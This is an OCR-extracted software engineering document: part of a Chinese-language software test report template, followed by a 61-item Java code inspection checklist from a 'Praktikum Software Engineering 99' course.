(1) 本 项 目的 经 核准 的 测试 计划 书 ,测试 需求 分 析 报 告 ; 

(2) 属于 本 项 目 其 他 已 批准 的 文件 ,如 需求 文档 规格 说 明 、 系 统 设 
计 等 文档 ; 

(3) 本 文件 中 各 处 引用 的 文件 ,资料 ,包括 所 要 用 到 的 软件 开发 , 测 
试 标准 。 


2 测试 对 象 和 概要 
包括 测试 项 目 、 测 试 类 型 .测试 阶段 ,测试 方法 ,测试 时 间 等 。 
用 表格 的 形式 列 出 每 一 项 测试 的 标识 符 及 其 测试 内 容 ,并 指明 实际 


进行 的 测试 工作 内 容 与 测试 计划 中 预先 设计 的 内 容 之 间 的 差别 ,说 明 做 
出 这 种 改变 的 原因 。 


3 测试 结果 及 发 现 


3.1 测试 1( 标 识 符 ) 

把 本 项 测试 中 实际 得 到 的 动态 输出 (包括 内 部 生成 数据 输出 ) 结 果 同 对 于 动态 输出 的 要 求 
进行 比较 ,陈述 其 中 的 各 项 发 现 。 
3.2 测试 2( 标 识 符 ) 

用 类 似 3.1 条 的 方式 给 出 第 2 项 及 其 以 后 各 项 测试 内 容 的 测试 结果 和 发 现 。 


4 对 软件 功能 的 结论 


4.1 功能 1( 标 识 符 ) 

4.1.1 能 力 

简 述 该 项 功能 ,说 明 为 满足 此 项 功能 而 设计 的 软件 能 力 以 及 经 过 一 系列 测试 已 证 实 的 
能 力 。 

4.1.2 限制 

说 明 测试 数据 值 的 范围 (包括 动态 数据 和 静态 数据 ), 列 出 就 这 项 功能 而 言 ,测试 期 间 在 该 
软件 中 查 出 的 缺陷 、 局 限 性 。 
4.2 功能 2( 标 识 符 ) 

用 类 似 4.1 的 方式 给 出 第 2 项 及 其 后 各 项 功能 的 测试 结论 。 


5 ”分析 摘要 


5.1 测试 结果 分 析 

列 出 测试 结果 分 析 记 录 , 并 按 所 定义 的 模板 产生 Bug 分 布 表 和 Bug 分 布 图 。 从 软件 测 
试 中 发 现 的 并 最 终 确认 的 错误 点 等 级 数量 来 评估 。 如 ， 

5.1.1 对 比分 析 

若非 首次 测试 时 ,将 本 次 测试 结果 与 首次 测试 .前 一 次 测试 的 结果 进行 对 比分 析 比 较 。 

5.1.2 测试 评估 

通过 对 测试 结果 的 分 析 提 出 一 个 对 软件 能 力 的 全 面 分 析 , 需 标明 遗留 缺陷 、 局 限 性 和 软件 
的 约束 限制 等 ,并 提出 改进 建议 。 
5.2 能 力 

陈述 经 测试 证 实 了 的 本 软件 的 能 力 。 如 果 所 进行 的 测试 是 为 了 验证 一 项 或 几 项 特定 性 能 
要 求 的 实现 ,应 提供 这 方面 的 测试 结果 与 要 求 之 间 的 比较 ,并 确定 测试 环境 与 实际 运行 环境 之 
间 可 能 存在 的 差异 对 能 力 的 测试 所 带 来 的 影响 。 
5.3 缺陷 和 限制 

陈述 经 测试 证 实 的 软件 缺陷 和 限制 ,说 明 每 项 缺陷 和 限制 对 软件 性 能 的 影响 ,并 说 明 全 部 
测 得 的 性 能 缺陷 的 累积 影响 和 总 影响 。 
5.4 建议 

对 每 项 缺陷 提出 改进 建议 ,如 : 
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(1) 各 项 修改 可 采用 的 修改 方法 ; 

(2) 各 项 修改 的 紧迫 程度 ; 

(3) 各 项 修改 预计 的 工作 量 ; 

(4) 各 项 修改 的 负责 人 。 

评价 

说 明 该 项 软件 的 开发 是 否 已 达到 预定 目标 ,能 否 交付 使 用 。 


测试 资源 消耗 
总 结 测试 工作 的 资源 消耗 数据 ,如 工作 人 员 的 水 平 级 别 数量 、 机 时 消耗 等 。 


Javq Code Inspection Checklist 


1. Variable and Constant Declaration Defects (VC) 

(1) Are descriptive variable and constant names used in accord 
with naming conventions? 

(2) Are there variables with confusingly similar names? 

(3) Is every variable properly initialized? 

(4) Could any non-local variables be made local? 

(5) Are there literal constants that should be named constants? 

(6) Are there macros that should be constants? 

(7) Are there variables that should be constants? 

2. Function Definition Defects (FD) 

(8) Are descriptive function names used in accord with naming 
conventions? 

(9) Is every function parameter value checked before being used? 

(10) For every function: Does it return the correct value at every 
function return point? 

3. Class Definition Defects (CD) 

(11) Does each class have an appropriate constructor and destructor? 

(12) For each member of every class: Could access to the member 
be further restricted? 

(13) Do any derived classes have common members that should be 
in the base class? 

(14) Can the class inheritance hierarchy be simplified? 

4. Computation/Numeric Defects (CN) 

(15) Is overflow or underflow possible during a computation? 

(16) For each expressions with more than one operator: Are the 
assumptions about order of evaluation and precedence correct? 

(17) Are parentheses used to avoid ambiguity? 

5. Comparison/Relational Defects (CR) 

(18) Are the comparison operators correct? 


(19) Is each boolean expression correct? 


(20) Are there improper and unnoticed side-effects of a comparison? 

6. Control Flow Defects (CF) 

(21) For each loop: Is the best choice of looping constructs used? 

(22) Will all loops terminate? 

(23) When there are multiple exits from a loop, is each exit necessary and handled 
properly? 

Praktikum Software Engineering 99: Code Inspection Checklist 

(24) Does each switch statement have a default case? 

(25) Are missing switch case break statements correct and marked with a comment? 

(26) Is the nesting of loops and branches too deep, and is it correct? 

(27) Can any nested if statements be converted into a switch statement? 

(28) Are null bodied control structures correct and marked with braces or comments? 

(29) Does every function terminate? 

(30) Are goto statements avoided? 

7. Input-Output Defects (IO) 

(31) Have all files been opened before use? 

(32) Are the attributes of the open statement consistent with the use of the file? 

(33) Have all files been closed after use? 

(34) Is buffered data flushed? 

(35) Are there spelling or grammatical errors in any text printed or displayed? 

(36) Are error conditions checked? 

8. Module Interface Defects (MI) 

(37) Are the number, order, types, and values of parameters in every function call in 
agreement with the called function’s declaration? 

(38) Do the values in units agree (e. g. ，inches versus yards)? 

9. Comment Defects (CM) 

(39) Does every function, class, and file have an appropriate header comment? 

(40) Does every variable or constant declaration have a comment? 

(41) Is the underlying behavior of each function and class expressed in plain language? 

(42) Is the header comment for each function and class consistent with the behavior of 
the function or class? 

(43) Do the comments and code agree? 

(44) Do the comments help in understanding the code? 

(45) Are there enough comments in the code? 

(46) Are there too many comments in the code? 

10. Packaging Defects (LP) 

(47) For each file: Does it contain only one class? 

(48) For each function: Is it no more than about 60 lines long? 

(49) For each class: Is no more than 2000 lines long (Sun Coding Standard) ? 

Praktikum Software Engineering 99: Code Inspection Checklist 


11. Modularity Defects (MO) 

(50) Is there a low level of coupling between packages (classes)? 

(51) Is there a high level of cohesion within each package? 

(51) Is there duplicate code that could be replaced by a call to a function that provides 
the behavior of the duplicate code? 

(53) Are framework classes used where and when appropriate? 

12. Performance Defects (PE) [Optional | 

(54) Can better data structures or more efficient algorithms be used? 

(55) Are logical tests arranged such that the often successful and inexpensive tests 
precede the more expensive and less frequently successful tests? 

(56) Can the cost of recomputing a value be reduced by computing it once and storing 
the results? 

(57) Is every result that is computed and stored actually used? 

(58) Can a computation be moved outside a loop? 

(59) Are there tests within a loop that do not need to be done? 

(60) Can a short loop be unrolled? 


(61) Are there two loops operating on the same data that can be combined into one? 


